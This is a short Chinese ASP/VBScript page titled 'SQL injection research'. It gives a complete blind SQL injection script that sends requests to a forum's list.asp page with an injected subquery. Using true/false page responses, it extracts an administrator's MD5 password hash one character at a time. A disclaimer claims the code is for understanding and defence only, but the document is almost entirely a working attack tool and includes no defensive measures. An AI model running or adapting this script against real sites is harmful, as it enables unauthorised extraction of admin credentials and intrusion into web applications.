SQL注入研究

'请勿用于非法用途，本代码只是为了让广大ASP爱好者明白原理，防范于未然。
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function RegExpTest(patrn, strng)
Dim regEx, retVal ' 建立变量。
Set regEx = New RegExp ' 建立正则表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = False ' 设置是否区分大小写。
RegExpTest = regEx.Test(strng) ' 执行搜索测试。
End Function
password=""
keyword="论坛首页"'返回正确页面会出现的字符串
url1="http://qq/bbs/list.asp?boardid=7"'SQL注入入口
passlen=32'MD5密码通常是32位
dim pass
pass=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102)'密码值通常是0-9，a-f
server.ScriptTimeout=999
for i=1 to passlen
flag=false
url=url1&" and (select asc(mid(password,"&i&",1)) from admin where id>0)="'构造的SQL语句这里才是关键
for j=0 to ubound(pass)
str=getHTTPPage(url&pass(j))
flag=RegExpTest(keyword,str)
if flag=true then
password=password&chr(pass(j))
exit for
end if
next
next
response.Write(password)